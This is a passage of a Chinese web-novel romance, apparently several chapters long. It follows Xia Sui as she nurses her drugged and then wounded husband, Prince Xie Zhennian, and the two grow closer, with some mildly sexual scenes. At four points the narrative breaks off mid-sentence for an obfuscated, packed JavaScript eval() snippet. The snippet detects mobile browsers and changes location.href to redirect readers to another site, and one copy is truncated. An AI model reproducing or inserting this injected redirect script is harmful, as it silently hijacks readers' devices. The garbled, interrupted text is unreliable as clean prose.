谢枕年的皮肤惊人的烫。 她扶着他,任由他半靠在身上,耳畔传来他的粗重的喘息声,她能听出来这声音明显是经过他的努力压抑和克制,但破碎的气息和难耐的轻哼声还是从他紧咬的牙关中溢出来。 终于走到了床边,两人一起摔倒在床上。 谢枕年蜷缩起来,里衣被绷紧的背部肌肉线条撑得饱满。他的脖颈和手背都暴起青筋,喉结急促滚动着。 他弓起脊背在床上翻了个身,试图缓解不适感,可非但没有缓解,身上的灼热感反而愈发鲜明。 修长的双腿勾起,整个人蜷缩起来,布料摩擦声混合着他紊乱呼吸,在寂静中格外清晰。 他的手指紧紧抓住柔软的被子,攥着被褥的指节绷得青白,后槽牙已经咬得发酸,却怎么也止不住身体里翻腾的血液。 鬓发散乱,贴着他发红的耳廓,汗水沿着紧绷的下颌线滑进衣领,没入锁骨。 夏穗看着他,像是看着一只在沙岸边濒死挣扎的鱼虾。 饶是落到如此境地,他也自己捱着,没有叫过夏穗半句。 甚至在不经意间看向她的眼神里,好像也只有被人发现他狼狈不堪的屈辱感。 下颚咬得死紧,薄唇间溢出断续喘息,像一头困兽濒临失控前的呜咽。 他看起来好像很难受。 真的很难受。 谢枕年觉得浑身上下没有一个地方是对劲儿的,他的身体也挨过不少长刀□□,哪次不是鲜血淋漓,血肉模糊,但他从来没觉得这么难受过。连唾液分泌也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15630656|172538||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 变得粘稠,吞咽时顺着喉管产生一阵灼烧。 全身上下已经被汗湿透了,衣服紧贴着滚烫泛潮的皮肤,像是刀锋轻刮着表层皮肉。 后腰像是被灌进滚烫的铁水,沿着脊椎向尾椎骨一路烧灼。 他在床上难耐地翻着身。 夏穗终于忍不住开口:“王爷,我帮你吧。” 对她的提议,谢枕年没说话,又或者是他根本无法正常回复她。 夏穗急着验证心中的想法,也不等他准允,便开始上手脱他的衣服。 谁料指尖刚触到他的肩膀,他就猛地翻身,将她压进锦被里。他发烫的手掌扣住她的后颈,鼻尖抵在她耳侧,灼热的吐息喷在她的颈动脉上,激起一片细小的战栗。 “我……” 他开口说了夏穗进来后的第一个字,声音嘶哑得可怕,撑在她耳侧的手臂肌肉微微抽搐着。 “没关系……” 夏穗伸出手,轻轻安抚着他的背。 谢枕年趴下来,滚烫湿润的舌尖舔过她的耳垂,她的脊柱和骨缝立即窜过一阵痒意。 夏穗抓着他的衣领主动吻上去,他像沙滩上初尝雨水的鱼一样,得到了一瞬的解脱,发出一声略长的闷哼。 一吻结束,谢枕年推开了她。 克制住喘息,他十分快速地吐出两个字:“出去。” 方才的接吻并没有让他好过多少,反而更像催情剂。 他的理智几近崩溃,而那个女人还在不知危险地靠近他。 谢枕年翻了个身,背对着她,他的胸口剧烈起伏着,压抑着喘息:“去、去叫彦修过来。” 夏穗怔住,但很快明白了什么,她毅然决然地捡起衣服,点点头,转身出去了。 听到她的关门声,谢枕年长长地舒了一口气。 好险。 差一点,差一点他就忍不住了。 他束身自修了这么多年,自有他的原则。除非他真正下定决心要和一个女人共度一生,否则绝不会毁人清白。 如果要了人家的身子,又没有拿得出手的爱意,这样在他眼中跟那种流连烟花柳巷的男人没有区别。 他不想在这种时候、在这样的情况下和她发生关系。 他叫彦修过来,替他去搜寻解药就好。 夏穗披了衣服出门,幽怨地叫彦修进去。 她坐在台阶上哀嚎,谢枕年果然就是那个断袖!被下了药还能坐怀不乱,有如此定力,像戒了毒似的。 而且,忽视她的投怀送抱就算了,还叫了一个男人进去! 夏穗在心中哀叹一声,她有昳丽的容貌,年轻的身体,充沛的精力,正是放浪形骸的好时候!该不会要为他守身如玉一辈子吧? 她颓丧地坐着,小小地难过了一会儿。 她对谢枕年有点感情,但不多。 充其量也只是馋他的身子。 并没爱到死去活来的地步。 现在发现,为时不晚,她还可以早做打算。天下男人多的是,何必吊死在一棵树上。 想清楚之后,她很快便释怀了。自己一个人吃喝玩乐的日子,倒是也挺快活的。 又一个傍晚,她从醉花楼匆匆回府,看到端着一盆盆血水出来的下人,起初还以为是老夫人突发重疾,后来才知竟是谢枕年遇刺昏迷了。 她听老夫人的令,在谢枕年旁边衣不解带地伺候着。不过身在王府,心在梨园。 她躺在谢枕年旁边,陷入美梦。 今夜的梦境十分精彩,还接上了她白日在醉花楼点的那个男花魁。 一个男人过去,又是另一个男人。 这个梦与以往不同,这个梦里没有出现过谢枕年。 自从她认定谢枕年是断袖后,他便很少在她的梦境中出现了。 花魁一曲脱衣舞完毕,夏穗也满面春光地醒来。 烛火摇曳之下,身侧传来窸窸窣窣的动静,谢枕年也睁开了眼睛。 不过,那是一个让她感到陌生的眼神。他目不转睛地紧盯住她,眼睛里的成分复杂难辨。 带着一些重新认识她的打量,一些不可置信,还有一点不安,一点羞耻,一点愠色,好像还有一点占有欲。 夏穗腹诽:脑子也受伤了?该不会是失忆了吧? 但面上还是惊喜道:“王爷,你醒了?我去叫……” 话未说完,谢枕年就一把将她拽过来,拉到自己怀中。 夏穗顾及到他的伤口,便用手肘撑起上半身,只是这个姿势,让她的下半身的重量全压在他的身上。 她刚要挣动,身体就碰到某处,异样的触感让她直接愣住。 硌到她了。 21. 第 21 章 谢枕年烫人的体温穿透她的薄衫,夏穗听到一阵剧烈的心跳声,分不清是谁的。 她在心中惊呼一声,呆愣着眨了眨眼睛,谢枕年这样荒诞的反应让她有些不知所措。 谢枕年似乎也察觉到了自己的异常,脸颊立刻泛起红晕,从耳朵一路红到脖子,松开了她。 谢枕年咬了咬牙,他也不懂自己为什么会这样,身体从没有这么不听使唤过。 都怪她那个破梦!梦里都是些什么乱七八糟的游戏? 他抬手按了按太阳穴,强迫自己冷静下来。 夏穗连忙翻身从他身上下来,红着脸道:“我去叫太医过来。” 她一路疾步出了房间,刚关上门,简直要原地叫出来。她第一次如此清晰明显地感受到男人和女人的身体是如此地不同。 而谢枕年,更是男人中的男人。 她果然没看错人,谢枕年无论在哪一方面都是佼佼者。 不过,他为什么会那样?自己方才明明什么也没做呀。 难不成是因为在床上躺太久了,患上了肌肤饥渴症之类的病? 倒也不是没有可能。 夏穗点点头,觉得这个理由能站住脚。 随时待命的太医很快过来了,谢枕年苏醒的好消息一瞬间传遍了整个王府,老夫人和叔父还有族中的其他长辈都过来了,老老少少挤满了一屋子人。 太医搭指上腕,细细诊断。整个房间内的人连大气也不敢出。 太医缩回手,老夫人含泪问道:“他怎么样?” “伤口照料得很好,正在慢慢恢复。只是毒素未除净,王爷像是有急火攻心的脉象,还是需要多多静养。” 老夫人不解:“他才刚刚苏醒,怎会有急火攻心的脉象?” “这……”老太医想了想,回复道,“这种脉象因人而异,也许是王爷昏迷时陷入梦魇所致。” 所有人的目光都看向谢枕年。 而谢枕年只紧盯着夏穗的眼睛。夏穗被他看得有些心里发虚,连忙避开了他的目光。 谢枕年闭了闭眼,偏过头去,虚弱道:“做噩梦了。” 老夫人在他床边坐下,替他掖了掖被子,又用丝帕替他擦着额角上的汗,拉过他的手,絮絮叨叨地说着什么。 听太医描述,像是没有大碍了。夏穗放下心来,瞥了一眼谢枕年,老夫人明明在和他说话,可他的目光还是看着这边。 又来了。 他的眼睛里又含着意味不明的注视。 趁着老夫人和他说话的工夫,她把太医拉到角落里,问道:“太医,你确定他已经没事了吗?” “娘娘不必担心,王爷的身体确实正在好转。” 夏穗脱口而出:“只用看身体,不用看看脑子吗?” 太医愣了愣,她笑了笑,立即解释道:“我的意思是,有没有可能,他脑子里也受伤了呢?” 虽然说不上来,但谢枕年醒来后给她的感觉太奇怪了。尤其是看向她的那双眼睛,简直像换了一个人。 太医想了想,回答道:“我听说王爷遇刺当晚,只中了箭,没听说磕到头。不过对昏迷很久的人来说,暂时出现记忆混乱,识人不清的现象倒是也有可能。” 送走太医,谢家的长辈们也走得差不多了,她回房时,只剩老夫人还在房中。 夏穗乖巧地立在一旁。 老夫人看着她眼下的乌青,说道:“方才太医说伤口恢复得很好,你这些日子也辛苦了,既然枕年醒了,那你先下去歇着吧。” 夏穗心中大喜,要说辛苦,其实也没多辛苦。昏迷时的谢枕年简直像个乖宝宝一样,刚好她看小画本看到深夜,她只要在睡前和起床的时候喂他喝点水就行。 不过她面上还是装作十分劳累的样子,朝老夫人行了个礼,转身就要走。 谢枕年连忙支起身子,急道:“不行!” 老夫人和夏穗同时回望他,他按着伤口,脸色有些难看。 沉默了几秒,他才堪堪开口:“……她照料得很好,我习惯了,不想换旁人照料。” 老夫人点点头,对夏穗说道:“也好,那你便继续贴身伺候吧,其他的活儿你尽管吩咐丫鬟们。” 夏穗把老夫人送到门口后折返回来,此时谢枕年正半卧在床上,由上到下睨着她。 她走到桌边坐下,两人相对无言。 谢枕年有种把梦境都说出来,好好质问她一番的冲动,但他多年来的修身养性,君子自持,不允许他这么做。 况且,要描绘那个荒淫无度,醉生梦死的梦境,实在有些为难他了。 伤口有些隐隐作痛,他看着夏穗,略微阴沉地开口道:“过来,替我换药吧。” 夏穗“喔”了一声,起身去拿药箱,她心中有些忐忑。 她没有独自一人为他换过药,王府里手脚伶俐的丫鬟们不少,他昏迷的这些日子,换药包扎这种精细的活儿,她一向都是交给丫鬟们做。她最多只是在旁边递个毛巾而已。 她替谢枕年脱了衣服,撕开纱布,矫健有力的胸肌和白皙的皮肤,以及雪上红梅,让她耳根立刻发烫起来。 她先用湿毛巾替他擦拭伤口,手掌碰到他胸肌的沟壑,心口的血液又是一阵翻涌。 真是可恶啊!什么时候这样的胸肌能借她靠靠? 说起来,他的身材这么好,如此矫健有力,就算他是断袖,应该也是上面那个吧? 夏穗的脑子里乱七八糟地想着,拿起小药瓶替他上药。 他的伤口其实有点深,皮肉粘连着,一团血色。 夏穗抬眼看了他一下,他咬着牙,冷汗连连,也不知道他是怎么忍住一声不吭的。 她实在有点看不下去了,看着他的伤口,她觉得她自己的胸口都疼,她微微移开眼睛,给他撒药。 谢枕年突然扣住她抖动的手腕,指腹上薄薄的茧压着她的腕骨,哑声道:“你画符呢?” 夏穗这才发现自己把药几乎撒满了他整个胸口,白色的粉末从他光滑的胸肌滑下来,洒到腰腹都是。 谢枕年咬牙忍着痛,气息有些不稳,喷在夏穗的颈侧,灼得她脊椎酥软。 她手忙脚乱地放下小药瓶,用毛巾替他擦着腰腹处的药粉,如实交代:“抱歉,我、我不太会弄这个……” 她以为她这么说,按谢枕年不想多麻烦的个性,自然会喊别人来,但他像是没听到似的,什么也没说。 她坐在床边,弯着腰,她整个上身几乎贴着他袒露的胸腹。 谢枕年的胸腔和腰腹随他的呼吸轻轻起伏着,夏穗用毛巾细致地替他擦着药粉。 光是做完这个,她就已经忙出了一头大汗。 谢枕年也如释重负地长呼一口气,吩咐道:“包扎。” 夏穗拿着纱布站起来,他仍然靠坐在床上。 纱布需要向后缠绕住他的后背,于是夏穗便扶起他的肩膀,往她自己这边按了按,让他尽量往自己这边来一点。 谢枕年猝不及防地对上夏穗丰腴的胸口。 他怔了怔,眼睛不知该看哪儿才好,立刻避开脸去,但他的脸和她的胸口实在靠得太近了,他一转头,反而擦到了。 夏穗的雪团轻轻晃动了一下。 但她浑然不觉。 会动的东西总是格外的抓人视线。 谢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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他的脑海中忽然浮现夏穗柔软纤细的腰肢。 她会睡得很难受吧? 要不然自己去把她叫回来? 他在心中斟酌着措辞,可无论如何也开不了这个口。他有些烦躁,翻来覆去睡不着,那边的小破床上,已经传来夏穗有规律的呼吸声。 他听着那一阵平稳规律的呼吸声,心里也跟着安定了不少,在夜色中沉沉睡去。 等他再睁开眼睛时,太阳已经日上三竿了。他往日都是浅眠,起的也早,但可能是受伤的缘故,他昨天睡得很沉。 眼睛下意识地往夏穗睡的小破床上看去,那里已经空无一人了。 他强撑着身体靠坐起来,阳光透过窗棂,可以看到空气中漂浮的小灰尘。他就那么坐着,在安静中盯着那张小破床看了半天。 彦修进来时,看到的便是他这么一副望眼欲穿的模样。 于是他主动说道:“王妃去给老夫人请安了,应该很快就会回来。” 谢枕年点点头,不知道为什么,他现在看到那张小破床就火冒三丈。 他朝着小破床的方向抬抬下巴:“把那张床扔到柴房去。” 彦修不明白,那张小床虽然是破旧了些,但能放进谢枕年房间里的东西,没有下等品。 那是极好的金丝楠木,有些年头了,现在这种木材也不多见了。 他问道:“放去柴房?放不下呀。” 谢枕年压着眉头,看那张床的眼神活像看什么深仇大恨的仇人,冰冷地吐出两个字:“烧了。” 床刚搬出去,夏穗便请完安回来了,她看着变空旷了的角落,愣了一会儿才反应过来,问道:“我的床呢?” 谢枕年不说话,朝她微微歪头,轻轻拍了拍他身下的大床。 22. 第 22 章 夏穗不解,他这是什么意思?想邀她过去同睡? 她半信半疑地问出来:“我们以后一起睡?” “我们本是夫妻,同床共枕是应该的。这不是你说的吗?” 夏穗对他笑了笑:“这倒是。” 她以前很想和他一起睡。小话本上说,如果一个男人和女人都睡在一张床上了,那么必然是要干点什么坏事的。 但自从她认定谢枕年是断袖以后,她便没怎么动过这方面的心思了。男女之事,他如果对她没兴趣,她也不想勉强。 如果只是当个普通室友的话,她又觉得谢枕年有些妨碍到她了。 妨碍她看小画本。 他昏迷这么久,她每天晚上看小画本看到半夜,看习惯了,忽然要中断,心里有些失落。 谢枕年非常敏捷地捕捉到她的情绪变化,反问道:“怎么,你好像不愿意?” 尾音微微提高,虽然脸上还带着病色,但不怒自威。 夏穗立刻摆摆手,狡辩道:“王爷多虑了,怎么会呢?” 她咬着牙扯出一个笑容:“能够和王爷同床共枕,我高兴还来不及呢。” 谢枕年点点头,阳光照进来,打在他的脸上,为他添了几分气色。 “今天天气不错,王爷要不要去外面晒晒太阳?”夏穗说完,像是怕他拒绝似的,又连忙补了句,“太医说了,晒晒太阳有利于伤口恢复。” 谢枕年如今卧病在床,也不去上朝,她得照顾他,自然也不能出去看戏听曲儿了。 所以当务之急,是要让他赶紧恢复身体。 谢枕年看了看窗外的景致,也默然地点点头。 夏穗走到床边,替他换衣服,刚把里衣脱掉,彦修就进来了。 她能感受到彦修的目光一直盯着他们这边,直到她替谢枕年穿好衣服,他才小声叫了他一句。 “王爷。” “什么事?” “……” 谢枕年问他,他又不说话,只是把目光停留在夏穗身上。 夏穗会意,看来他俩是要说什么悄悄话,她十分自觉地找了一个拙劣的借口出门:“啊,我忘了后厨熬着药呢,我先去看一眼。” 她站起身就要往外走,几乎是在同时,房间内响起两道声音。 “等等。” “恭送王妃。” 谢枕年和彦修互相看了看,都没说话。 空气沉默良久,最终还是彦修先打破寂静,他像是有些难言之隐,疯狂朝谢枕年使眼色:“王爷……还是让王妃先出去吧。” 谢枕年接收到彦修的暗示,对夏穗说道:“你先出去。” 夏穗乖巧地退出去,走时还贴心地替他们关上了门。 唉,既然总归是要她出来的,那谢枕年刚才那句挽留是什么意思? 难道她也是他们调情的一环吗? 她撇撇嘴,回到自己房间,把这个月领到的月钱放进一个精致的小木盒里。 她从刚嫁进王府的时候便开始存钱了,作为王妃,她领到的月钱很多。平日里的衣食住行皆从王府大账里面出,所以月钱基本上都能存下来。 在猜测谢枕年有可能是断袖之后,她存得更猛了,她打算等多存一点钱,就与谢枕年合离,离开王府,去追求自己的幸福。 她要在京城买一套自己的小房子,再雇几个下人,顺便给醉花楼里最讨她欢心的小郎君赎身。 夏穗走后,谢枕年抬眼看向彦修,语气有些不满:“要说什么?” 彦修回答道:“王爷可还记得我们去西南之前,您要我去查夏府的事?” 确有此事,当时夏穗回娘家,受她的继母和继妹欺负,他想查查她的过去来着。可惜自那之后不久,他便带着彦修去了西南,回来之后没几天又遇刺,直到现在,这件事情才终于提上日程。 他蹙眉道:“查到什么了?” 彦修掏出一个小本本,翻开来,对他说道:“以下这些话,是我从夏府的管家口中打听到的。” 他打量着谢枕年的神色,有些局促地开口:“王妃的亲生母亲去世以后,继母刘氏将她关在柴房里,终日滴水未给。后来又把她关进狗屋里,用绳子拴住她,和恶犬争食。王妃多次被继妹从楼梯上推下来,或者把她推入水里,逼她光脚在碎石里找东西,逼她站在刚结冰的湖面上……” “别说了。” 谢枕年声音有些发颤。他觉得自己快要喘不过气。 心窝处某个最柔软、最隐秘的地方,像是被人生生挖下一块,让他觉得自己失去了一些很重要的东西。 这么多年来,他第一次觉得自己如此无能,如此无措。 听着她年幼时的遭遇,他甚至开始讨厌从小养尊处优的自己。 彦修看他红了眼眶,低头行礼,打算出去叫夏穗进来。 但他刚走到门口,谢枕年的声音便从身后传来,虽然声音中还带着哽咽,但语气已经恢复了往日的波澜不惊: “我没记错的话,她们母女俩应该是被流放到了北疆吧?你去把她们找回来,十日之内,我要见到人。” 彦修领命退下,路过夏穗的房间,顺便叫她去谢枕年身边。 夏穗赶紧把她攒的私房钱收起来,出了门。彦修看着她,一副欲言又止的样子。 她朝他扬起一个明媚的笑容,问道:“怎么啦?像是有话要对我说?” “没有,就是……王爷现在心情可能不太好,王妃进去时,还请多多留意这点。” 彦修言下之意是想让她多哄哄谢枕年开心,但没想到夏穗脱口而出问道:“哦?你惹他生气了?” “我?” 他不知该如何回答,只得模模糊糊道:“算、算是吧?” 毕竟是他把那些消息带给谢枕年的。 夏穗点点头:“知道了,我会注意的。” 她推门而入,果然看到谢枕年沉着脸坐在窗前,一言不发。 仔细看去,似乎睫毛还是湿的。 她走过去,打开他面前的那扇窗户,微风习习,灌进房间,吹散了沉闷的情绪。 她倚靠在窗边,转过身来,朝他扬起一个大大的笑容,笑得眉眼弯弯:“王爷,还出去晒太阳吗?” 谢枕年调整好情绪,微微吐出一口气,朝她伸出手,说道:“走吧。” 夏穗看着他伸出来的手,好像有违常理啊?难道他跟彦修吵架了?打算和她来个亲密接触,惹彦修吃醋? 该死的小情侣! 她的嘴角抽搐了一下,半犹豫着把手递给他。 两人携手来到院中,她远远地就看到彦修的身影从廊上路 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15630658|172538||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过,她立即甩开谢枕年的手,两人拉开一段距离。 她可不想做什么棒打鸳鸯的毒妇。 谢枕年有些惊讶,看着自己空空如也的手,又看了看她。 夏穗胡乱地指着身旁的一簇花,笑嘻嘻道:“王爷看这些花,好不好看?” 谢枕年瞥了她指的那丛花一眼:“原来你喜欢花不盛开的样子吗?” “啊?” 她定睛一看,这才发现花都没开。 她满嘴胡诌着:“对呀对呀,我喜欢花没盛开的样子。你看,他们都长在同一枝上,虽然都没开,但是都簇拥在一起。如果花都盛开以后,这一枝肯定承受不了花的重量,会耷拉下来。” 她乱七八糟地解释完,谢枕年像是真的信了。 每每和他接触,她的反应能力都变强了。 夏穗长舒一口气,扶着他在石凳上坐下,自己则随意地坐在台阶上,伸长了腿,往后仰了仰身子,闭着眼微微抬起头,让全身都沐浴在阳光中。 乌发如瀑,散落下来,随她仰头的动作垂到背后。细碎的光粒围绕在他们之间,阳光沿着她扬起的下颌流淌进锁骨里。 谢枕年喉结无意识滚动了一下,看着她的眼睛里是他自己都不曾察觉到的温柔。 “如果早点遇到你就好了。” 他忽然没来由地说出这么一句话。话说出来,连他自己也有些惊讶。 夏穗微微愣住,回头看他。 她心中狐疑:怎么了?什么叫早点遇到她就好了?看这样子,难道他真的和彦修大吵了一架?他现在是在拿她和彦修做比较吗?忽然觉得她比彦修好了? 夏穗站起身来,拍拍屁股上的灰,也走到石桌旁,坐下替他倒了杯茶,劝慰道:“王爷不必觉得伤感。人和人的缘分都是上天注定的。你没能先遇到我,但你先遇到了彦修,这就是妙不可言的缘分。” 谢枕年虽然不知道她为什么要扯到彦修,但是他听出来她是在安慰他,便也顺着她的话点点头。 夜晚入睡时,夏穗先躺在了床上。看谢枕年走过来,她十分自觉地往里挪了挪,给他让了个位置。 除了新婚之夜,这还是两个人第一次如此清醒地共躺在一张床上。 夏穗闭眼躺着,背对着谢枕年,忽然察觉到背后有体温贴上来。 她以为是谢枕年那边不够睡,于是她再次朝里挪了挪,但背后热烘烘的体温也马上跟着移了过来。 ?! 这速度,实在不像是睡着后无意中移过来的。 她只好又往里去了点。 果然,她一动,谢枕年便也跟着动。 宽阔厚实的胸膛紧贴着她的后背,她能感觉到谢枕年快速强劲的心跳声。 她实在是退无可退了,背后暖融融的体温还是却紧追不舍。 他根本就是故意的! 夏穗睁开眼,她发现自己已经睡到了大床的边缘,再移一点,她就要掉下去了。 而且,谢枕年身上的热量很足,炙烤着她,她的后背已经起了一层薄薄的汗。 她轻声说道:“王爷,我好热。” “……” 回应她的是一片寂静。正当他以为谢枕年已经睡着的时候,那人却回了她。 “……你想做是么?” ?! 23. 第 23 章 她想做?他是怎么好意思说出口的?!现在这情况到底是谁想做?! 夏穗立刻翻身坐起来,解释道:“我不是,我没有!” “……” 谢枕年也坐起来,看她答非所问,于是重复道:“我方才问的是,你想做什么?” 夏穗被他噎住,忽然红了脸。 “我还以为,你在问我……” “你以为我在问你什么?” “我以为你问我,是不是想和你……” 她越说声音越小,说到最后,几乎听不见。 谢枕年坐在床上,好整以暇地看着她,微微勾起嘴角:“大点声。” 什么大点声,这种事说出来难道光彩吗? “没什么,是我听错了。” 夏穗又气又羞,也不知是她空耳严重,还是潜意识作祟,但凡带脑子想想,稳重自持不好女色的谢枕年,怎么可能说得出那种话? 都怪谢枕年的肢体暗示,让她想错了。她别过脸去,一头重重地躺回床上,谁料她坐的地方已经到了床的边缘,躺下去的时候,身体一大半悬空在床外,直接掉下床去。 端坐在她面前的谢枕年眼疾手快地拽住了她的脚踝,但当时她的大半个身子已经掉下去了,所以他抓住脚踝也无济于事,反而他整个人还被她拉了下来。 两人都滚下床,但谢枕年还抓着她的脚踝不放。 他的手掌宽厚,手指修长,可以轻松圈住夏穗纤细的脚踝。 长着薄茧的指腹在她的脚踝处摩挲着,从胫骨处传来微微的痒意,她轻轻动了一下,谢枕年便松开了她。 夏穗更有些羞愧难当,像逃跑似的爬回床上,谢枕年紧随其后,也跟着爬上来。 两人躺回床上,经此一闹,夏穗怎么着也睡不着了。 她听到谢枕年也翻了个身,按照她多年熬夜看小画本的经验,这个点恐怕已经过了子时。 她在黑暗中问道:“你怎么还没睡?晚睡不利于你的伤口恢复。” 语气中似乎带着一点责备的意味。 谢枕年倒是很平静地回复她:“嗯,睡不着。” “……那不如,我们出去散散步吧?” 反正也睡不着,出去散散步回来,刚好也缓解一下刚才那场闹剧带来的心神不宁。 庭院里的槐树在月光下筛出一片碎银似的光斑,夏穗提着灯笼走出来,灯笼穗子随着脚步轻轻晃动。 谢枕年披着外袍,走在她身侧。 两人沿着青石板路慢慢走着,晚上更深露重,青石板路不算很宽,两人又并排而行,好几次夏穗的脚踝都蹭到了旁边的杂草。 露水沾湿了鞋袜边缘,她停下来,跺了跺脚。 谢枕年侧头看了她一眼,从怀中掏出一块手帕,蹲下来替她擦拭鞋袜上的露水。 夏穗正要推辞,忽然看到从老夫人的院子里走出来几个奴婢,正朝他们这边走来。 对了,谢枕年想要在外人和她面前扮和美夫妻来着,夏穗在心中暗叹,他才是天生的演技派吧,已经把演技渗入进生活的每时每刻了。 于是她也很配合他,十分心安理得地接受了他的这份好意。 那几个婢女朝他们行礼,匆匆路过,还没走出多远,夏穗就听到了她们八卦的声音。 “王爷对娘娘可真好。” “就是,我在王府做事这么多年,还是第一次见王爷放低身段给别人擦鞋呢。” “娘娘真是好福气。” 这福气给你要不要啊?夏穗不自觉地翻了个白眼。不知她们若有朝一日得知她们敬爱的王爷是断袖,她们会作何想法。 她低头看着谢枕年,他正一下一下地替她擦着鞋子,连鞋底边缘也不放过,如他看书练字那般专心致志。 夏穗忽然没来由地想:他如果是真心的就好了。 谢枕年擦完,站起身来,依旧沉默着,把替她擦过露水的那块手帕折叠起来,似乎想再放回胸口,但又犹豫了一下。 她眼尖地说道:“手帕脏了,王爷给我吧,我洗好之后还给王爷。” 谢枕年点点头,把手帕塞到她手中。 晚风徐徐,吹得两侧的槐树沙沙作响。夜风带着一朵白色的小槐花,落在了他的鬓边。 晚上出来时,他没有好好束发,一头乌黑的长发就那样披在身后。白白小小的一朵,嵌在他的鸦发间,更为他添了几分人夫感。 “有朵小花。” 夏穗抬手去摘,指节微微蜷起,轻轻捏住花瓣,花瓣很小,躲在头发里,她捏了好几下才捏住。 谢枕年微微偏了一下头,她的掌根便碰到了他的脸颊。 他的脸带着夜风的微凉,但她的手心却是温热的。 不知是不是她的错觉,她感觉谢枕年的脸好像在她的手心蹭了一下,但速度很快,犹如高冷的野猫对人类释放出一点信任,但很快又果决地离开。 夏穗这么想着,她的掌心出了微微的汗。 她顺着发丝把那朵小花取下来。 微风乍起,吹得她手中的灯笼光晕晃了两下,将他们的两道影子叠在白墙上。 气氛变得暧昧难言,如果是在小话本中,他们必定要接一个吻才行了。 可惜她不是小话本里的女主,她面对的也不是温柔多情的男主。 她微微后退一步,使两人之间拉开一点距离。但谢枕年忽然拉起她的手,低头看着躺在她手心的那朵小槐花。 他一只手捏着她的腕骨,另一只手的手指在她的手心围绕那朵小白花画了一个圈。 弄得夏穗的手心有些微痒。 紧接着,他拿起那朵小槐花,别到了她的耳边。 他弯了弯唇,柔声道:“很可爱。” 夏穗也很自然地接话:“槐花生得小巧雅致,不如玫瑰和牡丹那么艳丽,确实是很可爱的。” 谢枕年唇边的笑意更深:“我说的不是花。” 夏穗愣了愣,不是在说花,难道是在说她? 她长这么大,还是第一次有人夸她可爱。赞美她容貌的人不少,但无一例外,大多数人都是夸她漂亮的。 比起槐花,她应该是属于玫瑰牡丹那种明艳张扬的长相。 而且多年看小话本的经验,她身上其实带着一种越夜越美丽的感觉。 不过话说回来,她在谢枕年面前一直走的都是清纯小白兔的路线,也难怪他会夸她可爱。 夏穗很开心,憨厚地朝他笑了笑。 他们在院子里走了一圈又一圈,夏穗已经有了困意。 她偷偷打量谢枕年的神色,他看起来还是很清醒,完全没有疲倦的样子。 甚至一脸享受。 她长长地打了个哈欠,问道:“王爷,你不困吗?” 听她这么问,他感觉像是突然结束掉一场愉快的旅行,眸光黯淡下来,失落道:“不是很困。” 夏穗实在不想陪着他转圈了,她正准备想办法把谢枕年忽悠回去睡觉,耳朵中隐约听到另一边的院子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15640092|172538||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里传来兵器相击的声音。 谁这么勤奋,大半夜还在练剑。 她拉着谢枕年走过去,定睛一看,正是彦修。 他和另外一个侍卫都脱去了上衣,两个人在院子里练剑。不知道他们打了多久了,两人身上都已经大汗淋漓,气喘吁吁,但他们没有要停下的迹象。 几个回合下来,彦修明显占了上风。 夏穗站在一边观战,抱着手随意夸了一句:“彦修不愧是你的贴身侍卫,身手不错嘛。” 谢枕年看彦修打斗完,正朝这边走来,他轻哼了一声:“哼,花拳绣腿。” 彦修:? 夏穗瞥了一眼面色冷淡的谢枕年,顿时计上心头。 “王爷,我看你睡不着是因为你身体太虚弱了。” 谢枕年一愣,难道她在梦中梦到那么多个桃色男人,唯独梦不到他的原因就是嫌他身体虚弱吗? 他咬了咬牙,反问道:“你说,我身体虚弱?” 夏穗点点头,看似很有道理地说道:“王爷,你想啊,你平日里不是上朝就是批公文,要不就是看书,练字,身体肯定缺乏锻炼。再加上你又受了箭伤,昏迷这么久,日日躺在床上,身体更是虚弱了。” 她看了看彦修强劲健硕的上半身,意有所指:“你看彦修他们,每日练剑精进武艺,身体强壮,想必吃得饱,睡得香。” 谢枕年果然上钩了:“身体是强壮还是虚弱是通过外表来判断的吗?我告诉你,我的身手比彦修好一百倍!” 他说完,用脚尖利落地挑起地上的剑,伸手抓住了剑柄,有些赌气似的对彦修说道:“过来,我们比一场。” 小鱼上钩! 夏穗在心中暗笑,她不知道断袖的心理,她还能不知道男人的心理吗? 激将法在任何时候都好用。 彦修不明就里,有意劝阻:“不行,王爷,你的伤口刚痊愈。” 此言一出,谢枕年更是怒了:“所以你觉得,我现在这样的状态,你就肯定能赢我?” “属下不是这个意思。” 